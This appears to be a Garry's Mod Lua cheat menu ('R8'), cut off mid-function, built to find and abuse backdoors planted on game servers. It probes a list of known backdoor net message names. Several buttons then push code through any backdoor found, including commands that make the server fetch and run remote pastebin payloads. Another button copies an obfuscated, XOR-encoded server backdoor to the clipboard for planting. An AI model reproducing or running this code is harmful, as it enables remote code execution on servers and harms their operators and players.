· 8 years ago · Jul 18, 2018, 08:12 AM
1concommand.Add('trace', function(pl)
2 local prop = pl:GetEyeTrace().Entity
3 if IsValid(prop) then
4 pl:PrintMessage(HUD_PRINTCONSOLE, prop:GetClass())
5 pl:PrintMessage(HUD_PRINTCONSOLE, 'mdl = \''..prop:GetModel()..'\',')
6 pl:PrintMessage(HUD_PRINTCONSOLE, 'pos = Vector('..string.gsub(tostring(prop:GetPos()), ' ', ', ')..'),')
7 pl:PrintMessage(HUD_PRINTCONSOLE, 'ang = Angle('..string.gsub(tostring(prop:GetAngles()), ' ', ', ')..'),')
8 pl:PrintMessage(HUD_PRINTCONSOLE, 'mat = \'' .. prop:GetMaterial() .. '\',')
9 end
10end)
11
12surface.CreateFont("exitmenu",
13 {
14 font = "Arial",
15 size = 20,
16 weight = 1000,
17 shadow = false,
18 outline = false,
19})
20
21
22local function exitmenu(panel,X,y)
23
24 local CButton = vgui.Create("DButton", panel)
25
26 CButton:SetTextColor(Color(150, 150, 150))
27
28 CButton:SetText("Ð¥")
29
30 CButton:SetFont("exitmenu")
31
32 CButton:SetPos(X, y)
33
34 CButton:SetSize(50, 24)
35
36 CButton.DoClick = function()
37
38 panel:SizeTo(0, 0, .2, 0, .2)
39
40 timer.Simple(0.3,function()
41
42 panel:SetVisible(false)
43
44 end)
45
46 end
47
48CButton.Paint = function(panel, w, h)
49
50 surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
51
52 surface.DrawOutlinedRect( 0, 0, CButton:GetSize() )
53
54 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
55
56end
57
58
59
60CButton.OnCursorEntered = function(self)
61
62 surface.PlaySound( "garrysmod/ui_hover.wav" )
63
64 CButton.Paint = function(panel, w, h)
65
66draw.RoundedBox( 0, 0, 0, w, h, Color(220, 20, 60, 255))
67
68 end
69
70
71 end
72-------------------------------------------------------------
73CButton.OnCursorExited = function(self)
74
75CButton.Paint = function(panel, w, h)
76
77 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
78
79 end
80
81 end
82
83 ------------------------------------------------------------------------
84
85end
86
87
88
89local blur = Material("pp/blurscreen")
90local function DrawBlur(panel, amount)
91local x, y = panel:LocalToScreen(0, 0)
92local scrW, scrH = ScrW(), ScrH()
93surface.SetDrawColor(255, 255, 255)
94surface.SetMaterial(blur)
95for i = 1, 3 do
96blur:SetFloat("$blur", (i / 3) * (amount or 6))
97blur:Recompute()
98render.UpdateScreenEffectTexture()
99surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
100end
101end
102
103netKey = "memeDoor"
104
105BackdoorsFound = 0
106
107function ValidNetString( str )
108 local status, error = pcall( net.Start, str )
109 return status
110end
111
112BackDoor_net = {
113
114{
115NetWork = "Sandbox_ArmDupe"
116},
117{
118NetWork = "Sbox_darkrp"
119},
120{
121NetWork = "Sbox_itemstore"
122},
123{
124NetWork = "Ulib_Message"
125},
126{
127NetWork = "ULogs_Info"
128},
129{
130NetWork = "ITEM"
131},
132{
133NetWork = "R8"
134},
135{
136NetWork = "fix"
137},
138{
139NetWork = "Fix_Keypads"
140},
141{
142NetWork = "Remove_Exploiters"
143},
144{
145NetWork = "noclipcloakaesp_chat_text"
146},
147{
148NetWork = "_Defqon"
149},
150{
151NetWork = "_CAC_ReadMemory" ,"nostrip"
152},
153{
154NetWork = "nocheat"
155},
156{
157NetWork = "LickMeOut"
158},
159{
160NetWork = "ULX_QUERY2"
161},
162{
163NetWork = "ULXQUERY2"
164},
165{
166NetWork = "MoonMan"
167},
168{
169NetWork = "Im_SOCool"
170},
171{
172NetWork = "Sandbox_GayParty"
173},
174{
175NetWork = "DarkRP_UTF8"
176},
177{
178NetWork = "oldNetReadData"
179},
180{
181NetWork = "memeDoor"
182},
183{
184NetWork = "BackDoor"
185},
186{
187NetWork = "OdiumBackDoor"
188},
189{
190NetWork = "SessionBackdoor"
191},
192{
193NetWork = "DarkRP_AdminWeapons"
194},
195{
196NetWork = "cucked"
197},
198{
199NetWork = "NoNerks"
200},
201{
202NetWork = "kek"
203},
204{
205NetWork = "ZimbaBackDoor"
206},
207{
208NetWork = "something"
209},
210{
211NetWork = "random"
212},
213{
214NetWork = "strip0"
215},
216{
217NetWork = "fellosnake"
218},
219{
220NetWork = "enablevac"
221},
222{
223NetWork = "idk"
224},
225{
226NetWork = "c"
227},
228{
229NetWork = "killserver"
230},
231{
232NetWork = "fuckserver"
233},
234{
235NetWork = "cvaraccess"
236},
237{
238NetWork = "rcon"
239},
240{
241NetWork = "rconadmin"
242},
243{
244NetWork = "web"
245},
246{
247NetWork = "jesuslebg"
248},
249{
250NetWork = "zilnix"
251},
252{
253NetWork = "Þà ?D)◘"
254},
255{
256NetWork = "disablebackdoor"
257},
258{
259NetWork = "kill"
260},
261{
262NetWork = "DefqonBackdoor"
263},
264
265}
266
267
268function checkbackdoors()
269
270for k,v in pairs(BackDoor_net) do
271
272 if( ValidNetString(v.NetWork) ) then
273 BackdoorsFound = 1 + BackdoorsFound
274 chat.AddText( Color( 0, 0, 0, 125 ), "[R8]", Color( 255, 255, 255 )," Found Backdoor! - "..v.NetWork )
275 end
276
277end
278
279end
280
281CreateClientConVar ("menu_r", "148", true,false)
282CreateClientConVar ("menu_g", "0", true,false)
283CreateClientConVar ("menu_b", "211", true,false)
284
285
286
287--------------------------------------------------------------------------------------------
288surface.CreateFont("Main",
289 {
290 font = "Arial",
291 size = 20,
292 weight = 1000,
293 shadow = false,
294 outline = false,
295})
296
297
298
299
300local insertdown2, insertdown, menuopen;
301
302function MainMenu()
303
304
305local x1 = vgui.Create( "DFrame" )
306
307x1:Center()
308
309x1:SizeTo(300, 400, .3, 0, .3)
310
311exitmenu(x1,249,1)
312
313x1:SetTitle( " " )
314
315x1:ShowCloseButton( false )
316
317x1:SetVisible( true )
318
319x1:MakePopup()
320
321function x1:Paint()
322
323DrawBlur(self,5)
324
325draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"), 170))
326
327surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
328
329surface.DrawOutlinedRect( 0, 0, x1:GetSize() )
330---------------------------------------------------------
331surface.DrawOutlinedRect( 0, 110, x1:GetSize() )
332
333--surface.DrawOutlinedRect( 0, 130, x1:GetSize() )
334---------------------------------------------------------
335surface.DrawOutlinedRect( 0, 25, x1:GetSize() )
336-------------------------------------------------
337surface.DrawOutlinedRect( 0, 0, 249, 26 )
338
339surface.DrawOutlinedRect( 0, 110, 101, 90 )
340
341surface.DrawOutlinedRect( 0, 110, 500, 90 )
342
343--surface.DrawOutlinedRect( 0, 30, x1:GetSize() )
344--
345surface.DrawOutlinedRect( 100, 25, x1:GetSize() )
346--
347--surface.DrawOutlinedRect( -6, 25, x1:GetSize() )
348--
349--surface.DrawOutlinedRect( 0, -6, x1:GetSize() )
350
351------------------------------------------------
352end
353
354 x1.Think = function()
355 if (input.IsKeyDown(KEY_INSERT) && !insertdown2) then
356
357 x1:SizeTo(0, 0, .2, 0, .2)
358
359 timer.Simple(0.1, function()
360 x1:Remove()
361 end)
362
363 menuopen = false;
364 end
365end
366
367local function Think()
368 if (input.IsKeyDown(KEY_INSERT) && !menuopen && !insertdown) then
369 menuopen = true;
370 insertdown = true;
371 MainMenu();
372 elseif (!input.IsKeyDown(KEY_INSERT) && !menuopen) then
373 insertdown = false;
374 end
375 if (input.IsKeyDown(KEY_INSERT) && insertdown && menuopen) then
376 insertdown2 = true;
377 else
378 insertdown2 = false;
379 end
380end
381
382hook.Add("Think", "", Think);
383
384
385local news_p1 = vgui.Create("DPanel", x1)
386
387news_p1:SetPos(100,200)
388
389news_p1:SetSize(200,200)
390
391news_p1.Paint = function(self, w, h) // Paint will paint the current page (Changing color, shape, etc)
392draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40, 170))
393end
394local richtext = vgui.Create( "RichText", news_p1 )
395richtext:Dock( FILL )
396
397
398local TheReturnedHTML = "" -- Blankness
399
400http.Fetch( "https://pastebin.com/raw/05M3yELT",
401 function( body, len, headers, code )
402 TheReturnedHTML = body
403 richtext:SetText( TheReturnedHTML )
404 end,
405 function( error )
406 richtext:SetText( "Could not get news from our server. \n you May have lost your Internet connection \n or our servers are temporarily unavailable." )
407 end
408 )
409
410local q1 = vgui.Create("DHTML",x1)
411q1:OpenURL( "https://goo.gl/XLxbgG" )
412q1:SetSize( 150, 150 )
413q1:SetPos( 6, 110 )
414
415
416surface.CreateFont("B1",
417 {
418 font = "Arial",
419 size = 20,
420 weight = 1000,
421 shadow = false,
422 outline = false,
423})
424
425ex = true
426ct = true
427nh = true
428
429func_table = {
430--
431{
432
433---------------------------------------
434Name = "Exploit's",
435
436Func = function()
437LocalPlayer():ConCommand('R8_Exploit')
438surface.PlaySound( "garrysmod/ui_click.wav" )
439x1:SetVisible( false )
440end,
441---------------------------------------
442},
443--
444{
445---------------------------------------
446Name = "Cheat's",
447
448Func = function()
449surface.PlaySound( "garrysmod/ui_click.wav" )
450end,
451---------------------------------------
452--
453},
454--
455{
456---------------------------------------
457Name = 'Hack',
458
459Func = function()
460x1:SetVisible( false )
461LocalPlayer():ConCommand('bd_menu')
462surface.PlaySound( "garrysmod/ui_click.wav" )
463end,
464---------------------------------------
465--
466},
467}
468
469
470for k,v in pairs(func_table) do
471
472 local Buttons = vgui.Create("DButton", x1)
473
474 Buttons:Dock(4)
475
476 Buttons:DockMargin(0,0,200,5)
477
478 Buttons:SetText(v.Name)
479
480 Buttons:SetFont('B1')
481
482 Buttons:SetTextColor( Color( 255, 255, 255, 255 ) )
483
484 Buttons.DoClick = v.Func
485
486 Buttons.OnCursorEntered = function(self)
487
488 surface.PlaySound( "garrysmod/ui_hover.wav" )
489
490 end
491
492function Buttons:Paint()
493
494--draw.SimpleText( "|", "B1", 5, 0, Color( 255, 255, 255, 200 ), 0, 0 )
495--
496--draw.SimpleText( "|", "B1", 270, 0, Color( 255, 255, 255, 200 ), 0, 0 )
497
498
499draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
500
501surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
502
503surface.DrawOutlinedRect( 0, 0, Buttons:GetSize() )
504
505surface.DrawOutlinedRect( 0, 25, Buttons:GetSize() )
506
507end
508
509end
510
511
512
513-----------------------------------------------------------------------------
514
515 local b5 = vgui.Create("DButton", x1)
516
517 b5:Dock(TOP)
518
519 b5:DockMargin(100,-81,0,5)
520
521 b5:SetText('| BackDoor | Check |')
522
523 b5:SetFont('B1')
524
525 b5:SetTextColor( Color( 255, 255, 255, 255 ) )
526
527 function b5:DoClick()
528
529 surface.PlaySound( "garrysmod/ui_click.wav" )
530
531 checkbackdoors()
532
533 end
534
535 b5.OnCursorEntered = function(self)
536
537 surface.PlaySound( "garrysmod/ui_hover.wav" )
538
539 end
540
541function b5:Paint()
542
543draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
544
545surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
546
547surface.DrawOutlinedRect( 0, 0, b5:GetSize() )
548
549surface.DrawOutlinedRect( 0, 25, b5:GetSize() )
550
551end
552
553 local b6 = vgui.Create("DButton", x1)
554
555 b6:Dock(TOP)
556
557 b6:DockMargin(100,0,0,5)
558
559 b6:SetText('Theme Color')
560
561 b6:SetFont('B1')
562
563 b6:SetTextColor( Color( 255, 255, 255, 255 ) )
564
565 b6.OnCursorEntered = function(self)
566
567 surface.PlaySound( "garrysmod/ui_hover.wav" )
568
569 end
570
571 function b6:DoClick()
572
573 surface.PlaySound( "garrysmod/ui_click.wav" )
574
575 LocalPlayer():ConCommand('R8_theme')
576
577 end
578
579function b6:Paint()
580
581draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
582
583surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
584
585surface.DrawOutlinedRect( 0, 0, b6:GetSize() )
586
587surface.DrawOutlinedRect( 0, 25, b6:GetSize() )
588
589end
590
591 local b7 = vgui.Create("DButton", x1)
592
593 b7:Dock(TOP)
594
595 b7:DockMargin(100,0,0,5)
596
597 b7:SetText("Copy BackDoor")
598
599 b7:SetFont('B1')
600
601 b7:SetTextColor( Color( 255, 255, 255, 255 ) )
602
603 function b7:DoClick()
604
605 surface.PlaySound( "garrysmod/ui_click.wav" )
606
607 local backdoorr8 = [[local _=_G local a,b=_['\115\116\114\105\110\103'],_['\98\105\116']['\98\120\111\114']local function c(c)if a['\108\101\110'](c)==0 then return c end local d=''for c in a['\103\109\97\116\99\104'](c,'\46\46')do d=d..a['\99\104\97\114'](b(_["\116\111\110\117\109\98\101\114"](c,16),25))end return d end _[c'6c6d7075'][c'587d7d577c6d6e766b724a6d6b70777e'](c'4b21')_[c'777c6d'][c'4b7c7a7c706f7c'](c'4b21',function()local a=_[c'5a76746970757c4a6d6b70777e'](_[c'777c6d'][c'4b7c787d4a6d6b70777e'](),c'556c785a747d',!1)if _[c'706a7f6c777a6d707677'](a)then a()end end)]]
608
609 SetClipboardText( backdoorr8 )
610
611 LocalPlayer():ChatPrint('Copied to the clipboard.')
612
613 end
614
615 b7.OnCursorEntered = function(self)
616
617 surface.PlaySound( "garrysmod/ui_hover.wav" )
618
619 end
620
621function b7:Paint()
622
623draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
624
625surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
626
627surface.DrawOutlinedRect( 0, 0, b7:GetSize() )
628
629surface.DrawOutlinedRect( 0, 25, b7:GetSize() )
630
631end
632
633-----------------------------------------------------------------------------
634-----------------------------------------------------------------------------
635
636 local b8 = vgui.Create("DButton", x1)
637
638 b8:Dock(TOP)
639
640 b8:DockMargin(100,6,0,5)
641
642 b8:SetText('Love you.')
643
644 b8:SetFont('B1')
645
646 b8:SetTextColor( Color( 255, 255, 255, 255 ) )
647
648 function b8:DoClick()
649
650 surface.PlaySound( "garrysmod/ui_click.wav" )
651
652
653for k,v in pairs(BackDoor_net) do
654
655if( ValidNetString(v.NetWork) ) then
656
657net.Start(v.NetWork)
658
659net.WriteString( [[for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "[R8] Love you.")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end]] )
660
661net.WriteBit(1)
662
663net.SendToServer()
664
665end
666
667end
668
669
670 end
671
672 b8.OnCursorEntered = function(self)
673
674 surface.PlaySound( "garrysmod/ui_hover.wav" )
675
676 end
677
678function b8:Paint()
679
680draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
681
682surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
683
684surface.DrawOutlinedRect( 0, 0, b8:GetSize() )
685
686surface.DrawOutlinedRect( 0, 25, b8:GetSize() )
687
688end
689
690
691
692 local b9 = vgui.Create("DButton", x1)
693
694 b9:Dock(TOP)
695
696 b9:DockMargin(100,0,0,5)
697
698 b9:SetText('Disco Time - BackDoor')
699
700 b9:SetFont('B1')
701
702 b9:SetTextColor( Color( 255, 255, 255, 255 ) )
703
704
705 function b9:DoClick()
706
707surface.PlaySound( "garrysmod/ui_click.wav" )
708for k,v in pairs(BackDoor_net) do
709
710if( ValidNetString(v.NetWork) ) then
711
712net.Start(v.NetWork)
713
714net.WriteString( "http.Fetch(\"https://pastebin.com/raw/W529HLVb\",function(b,l,h,c)RunString(b)end,nil)" ) -- it's old DefqonSploit disco
715
716net.WriteBit(1)
717
718net.SendToServer()
719
720end
721
722end
723
724end
725
726
727 b9.OnCursorEntered = function(self)
728
729 surface.PlaySound( "garrysmod/ui_hover.wav" )
730
731 end
732
733function b9:Paint()
734
735draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
736
737surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
738
739surface.DrawOutlinedRect( 0, 0, b9:GetSize() )
740
741surface.DrawOutlinedRect( 0, 25, b9:GetSize() )
742
743end
744
745 local b10 = vgui.Create("DButton", x1)
746
747 b10:Dock(TOP)
748
749 b10:DockMargin(100,0,0,3)
750
751 b10:SetText('R8 - BackDoor')
752
753 b10:SetFont('B1')
754
755 b10:SetTextColor( Color( 255, 255, 255, 255 ) )
756
757
758 function b10:DoClick()
759
760surface.PlaySound( "garrysmod/ui_click.wav" )
761
762for k,v in pairs(BackDoor_net) do
763
764if( ValidNetString(v.NetWork) ) then
765
766net.Start(v.NetWork)
767
768net.WriteString( "http.Fetch(\"https://pastebin.com/raw/cyiaTwgL\",function(b,l,h,c)RunString(b)end,nil)" ) -- R8 Backdoor
769
770net.WriteBit(1)
771
772net.SendToServer()
773
774end
775
776end
777
778end
779
780
781 b10.OnCursorEntered = function(self)
782
783 surface.PlaySound( "garrysmod/ui_hover.wav" )
784
785 end
786
787function b10:Paint()
788
789draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
790
791surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
792
793surface.DrawOutlinedRect( 0, 0, b10:GetSize() )
794
795surface.DrawOutlinedRect( 0, 25, b10:GetSize() )
796
797end
798
799------------------------------------------------------------------------------------------------------------------------
800
801function ColorMenu()
802
803 local ColorMenu = vgui.Create("DFrame")
804 ColorMenu:SetPos(399,300)
805 ColorMenu:SizeTo(300, 265, .3, 0, .3)
806 ColorMenu:MakePopup()
807 ColorMenu:SetTitle("")
808 ColorMenu:SetVisible(true)
809 ColorMenu:ShowCloseButton(false)
810 exitmenu(ColorMenu,249,1)
811 ColorMenu.Paint = function(self,w,h)
812 DrawBlur(self, 3 )
813
814draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"), 170))
815
816
817surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
818
819surface.DrawOutlinedRect( 0, 0, ColorMenu:GetSize() )
820
821surface.DrawOutlinedRect( 0, 25, ColorMenu:GetSize() )
822-------------------------------------------------
823surface.DrawOutlinedRect( 0, 0, 249, 26 )
824
825surface.DrawOutlinedRect( 0, 0, ColorMenu:GetSize() )
826
827 end
828
829local color2 = vgui.Create( "DColorMixer",ColorMenu);
830color2:Dock(TOP)
831color2:DockMargin(0,0,0,0)
832color2:SetPalette( false )
833color2:SetWangs( false )
834color2:SetAlphaBar( false )
835color2:SetColor(Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"),255))
836
837function color2:ValueChanged( color)
838 LocalPlayer():ConCommand ("menu_r "..color.r)
839 LocalPlayer():ConCommand ("menu_g "..color.g)
840 LocalPlayer():ConCommand("menu_b "..color.b)
841end
842
843
844end
845
846concommand.Add('R8_theme',ColorMenu)
847-----------------------------------------------------------------------------
848local table_credits = {
849
850 {
851 text = "Developer",
852 durl = "https://google.com",
853 },
854
855 {
856 text = "Discord",
857 durl = "https://google.com"
858 },
859
860 {
861 text = "Friend's",
862 durl = "https://google.com"
863 },
864
865 {
866 text = "Sponsor",
867 durl = "https://google.com"
868 },
869
870}
871
872for k,v in pairs(table_credits) do
873
874 local Credits = vgui.Create("DButton", x1)
875
876 Credits:Dock(5)
877
878 Credits:DockMargin(1,5,199,5)
879
880 Credits:SetText(v.text)
881
882 Credits:SetFont('B1')
883
884 Credits:SetTextColor( Color( 255, 255, 255, 255 ) )
885
886 Credits.OnCursorEntered = function(self)
887
888 surface.PlaySound( "garrysmod/ui_hover.wav" )
889
890 end
891
892function Credits:DoClick()
893
894surface.PlaySound( "garrysmod/ui_click.wav" )
895
896gui.OpenURL(v.durl)
897
898end
899
900function Credits:Paint()
901
902draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
903
904surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
905
906surface.DrawOutlinedRect( 0, 0, Credits:GetSize() )
907
908surface.DrawOutlinedRect( 0, 25, Credits:GetSize() )
909
910end
911
912end
913
914
915end
916
917
918
919
920
921concommand.Add('R8_Menu',MainMenu)
922
923
924
925//////////// [BASIC SHIT] ////////////
926
927local blur = Material("pp/blurscreen") local function DrawBlur(panel, amount) local x, y = panel:LocalToScreen(0, 0) local scrW, scrH = ScrW(), ScrH() surface.SetDrawColor(255, 255, 255) surface.SetMaterial(blur) for i = 1, 3 do blur:SetFloat("$blur", (i / 3) * (amount or 6)) blur:Recompute() render.UpdateScreenEffectTexture() surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH) end end
928
929CreateClientConVar ("menu_r", "0", true,false)
930CreateClientConVar ("menu_g", "0", true,false)
931CreateClientConVar ("menu_b", "0", true,false)
932
933if(istable(MOTDgd))then // Solly copypaste
934MOTDgd = {}
935function MOTDgd.Show() end
936function MOTDgd.GetIfSkip() return true end
937end
938
939local function exitmenu(panel,X,y)
940
941 local CButton = vgui.Create("DButton", panel)
942
943 CButton:SetTextColor(Color(150, 150, 150))
944
945 CButton:SetText("Ð¥")
946
947 CButton:SetFont("exitmenu")
948
949 CButton:SetPos(X, y)
950
951 CButton:SetSize(50, 24)
952
953 CButton.DoClick = function()
954
955 panel:SizeTo(0, 0, .2, 0, .2)
956
957 timer.Simple(0.3,function()
958
959 panel:SetVisible(false)
960
961 end)
962
963 end
964
965CButton.Paint = function(panel, w, h)
966
967 surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
968
969 surface.DrawOutlinedRect( 0, 0, CButton:GetSize() )
970
971 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
972
973end
974
975
976
977CButton.OnCursorEntered = function(self)
978
979 surface.PlaySound( "garrysmod/ui_hover.wav" )
980
981 CButton.Paint = function(panel, w, h)
982
983draw.RoundedBox( 0, 0, 0, w, h, Color(220, 20, 60, 255))
984
985 end
986
987
988 end
989-------------------------------------------------------------
990CButton.OnCursorExited = function(self)
991
992CButton.Paint = function(panel, w, h)
993
994 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
995
996 end
997
998 end
999
1000 ------------------------------------------------------------------------
1001
1002end
1003
1004
1005function random_string(length)
1006 math.randomseed(os.time())
1007
1008 if length > 0 then
1009 return random_string(length - 1) .. charset[math.random(1, #charset)]
1010 else
1011 return ""
1012 end
1013end
1014
1015local s = {}
1016s.duel = {}
1017s.duel[1] = table.Random( player.GetAll() )
1018s.duel[2] = table.Random( player.GetAll() )
1019s.duel[2] = 3
1020s.duel[3] = -9999999
1021
1022//////////// [CHAT TEXT] ////////////
1023
1024function ECPrint( str )
1025chat.AddText( Color( 150, 150, 150 ), "[R8] ", Color( 255, 255, 255), str )
1026end
1027
1028//////////// [NOTIFY] ////////////
1029
1030local function ECNotify(text)
1031
1032local notify = vgui.Create( "DPanel" )
1033notify:SetSize( 200, 50 )
1034notify:SetPos( ScrW() - 200, -50 )
1035notify.Paint = function(self, w, h)
1036draw.RoundedBox( 0, 0, 0, w, h, Color(50, 50, 50))
1037local bars = 50
1038for i=0, bars, 1 do
1039 local rainbow = HSVToColor( CurTime() % 6 * 60 + i, 1, 1 )
1040 draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
1041end
1042//draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
1043draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
1044end
1045notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
1046timer.Simple( 3, function()
1047notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
1048end)
1049end)
1050end
1051
1052
1053//////////// [CLEAR CHAT] ////////////
1054
1055function clearchat()
1056for i = 0, 100 do
1057chat.AddText(" ")
1058end
1059end
1060
1061//////////// [VAPE] ////////////
1062
1063function Vape()
1064timer.Simple(0, function() RunConsoleCommand("+attack") end )
1065timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
1066end
1067concommand.Add("vape", Vape)
1068concommand.Add("clearchat", clearchat)
1069
1070//////////// [CAC CHECKER] ////////////
1071
1072if (_G.QAC or _G.CAC) then
1073chat.AddText( Color( 0, 255, 255 ), "[", "R8", "] ", Color( 255, 255, 255 ), "The server has Cake Anti Cheat!")
1074end
1075
1076function Initialize()
1077print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
1078 surface.PlaySound("HL1/fvox/bell.wav")
1079-- surface.PlaySound("buttons/button15.wav")
1080ECNotify("Loaded Successfully!")
1081net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
1082net.Receive( "metro_notification",function() // Disable Metro Notification
1083return
1084end)
1085
1086//////////// Font Creation ////////////
1087--
1088surface.CreateFont( "Roboto", {
1089 font = "Roboto",
1090 size = 18,
1091} )
1092--
1093surface.CreateFont( "Calibri-sm", {
1094 font = "Calibri",
1095 size = 15,
1096} )
1097--
1098surface.CreateFont( "Calibri-l", {
1099 font = "Calibri",
1100 size = 21,
1101} )
1102--
1103surface.CreateFont( "tahoma", {
1104 font = "Tahoma",
1105 size = 15,
1106} )
1107--
1108end
1109Initialize(); // Initializes basic shit for when menu is loaded.
1110
1111
1112function ValidNetString( str )
1113local status, error = pcall( net.Start, str )
1114return status
1115end
1116
1117
1118------------------------------------------------------------------------
1119
1120//////////// [MENU] ////////////
1121
1122function draw.OutlinedBox( x, y, w, h, thickness, clr )
1123surface.SetDrawColor( clr )
1124for i=0, thickness - 1 do
1125surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
1126end
1127end
1128
1129-------------------------------------------------------------------------------------------
1130surface.CreateFont("Main",
1131 {
1132 font = "Arial",
1133 size = 20,
1134 weight = 1000,
1135 shadow = false,
1136 outline = false,
1137})
1138
1139function R8_Menu()
1140
1141local menu = vgui.Create( "DFrame" )
1142
1143menu:Center()
1144
1145menu:SizeTo(300, 350, .3, 0, .3)
1146
1147exitmenu(menu,249,1)
1148
1149menu:SetTitle( " " )
1150
1151menu:ShowCloseButton( false )
1152
1153menu:MakePopup()
1154
1155function menu:Paint()
1156
1157DrawBlur(self,5)
1158
1159draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"), 170))
1160
1161draw.SimpleText( totalSploits .. "/297 Exploits - R8", "Roboto", 5, 3, Color( 255, 255, 255, 200 ), 0, 0 )
1162
1163if totalSploits == 0 then
1164draw.SimpleText("No exploits found!", "Roboto", 65, 150, Color( 255, 255, 255, 200 ), 0, 0 )
1165end
1166
1167surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
1168
1169surface.DrawOutlinedRect( 0, 0, menu:GetSize() )
1170
1171surface.DrawOutlinedRect( 0, 0, 249, 26 )
1172
1173surface.DrawOutlinedRect( 0, 25, menu:GetSize() )
1174
1175end
1176
1177//////////// [TABS] ////////////
1178
1179local tabs = vgui.Create( "DPropertySheet", menu )
1180tabs:Dock( FILL )
1181tabs:DockPadding( -5, 5, 0, 0)
1182tabs.Paint = function (self, w, h)
1183for k, v in pairs(tabs.Items) do
1184
1185 if (!v.Tab) then continue end
1186
1187 v.Tab.Paint = function(self,w,h)
1188 draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
1189 draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 45, 45, 45, 255 ) )
1190 if ( tabs:GetActiveTab() == v.Tab ) then
1191 draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
1192 //draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
1193 draw.RoundedBox( 0, 0, 22, w, 1, Color(255,255,255,255))
1194 end
1195 end
1196end
1197end
1198
1199//////////// [PANELS] ////////////
1200
1201local exploitsPanel = vgui.Create( "DPanel", menu )
1202
1203exploitsPanel:Dock(1)
1204
1205exploitsPanel.Paint = function( self, w, h )
1206draw.RoundedBox(0, 0, 0, w, h, Color( 25, 25, 25,100 ))
1207draw.OutlinedBox( 0, 0, w, h, 1, Color( 0, 0, 0 ) )
1208end
1209
1210
1211local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
1212exploitsScrollPanel:Dock( FILL )
1213
1214
1215//////////// [NEW EXPLOIT] ////////////
1216--------------------
1217totalSploits = 0
1218function addExploit(id, text, desc, func)
1219totalSploits = 1 + totalSploits
1220local id = vgui.Create( "DButton", exploitsScrollPanel )
1221id:SetText( text )
1222id:SetTextColor( Color( 200, 200, 200 ) )
1223id:SetFont("Roboto")
1224id:Dock( TOP )
1225id:DockMargin( 10, 10, 10, -5 )
1226id:DockPadding( 2, 25, 2, 50 )
1227id.DoClick = func
1228if desc then
1229id:SetToolTip( desc )
1230end
1231id.Paint = function( self, w, h )
1232id.OnCursorEntered = function(self)
1233-- surface.PlaySound( "garrysmod/ui_hover.wav" )
1234surface.PlaySound( "buttons/button15.wav" )
1235end
1236if id:IsHovered() then
1237draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1238
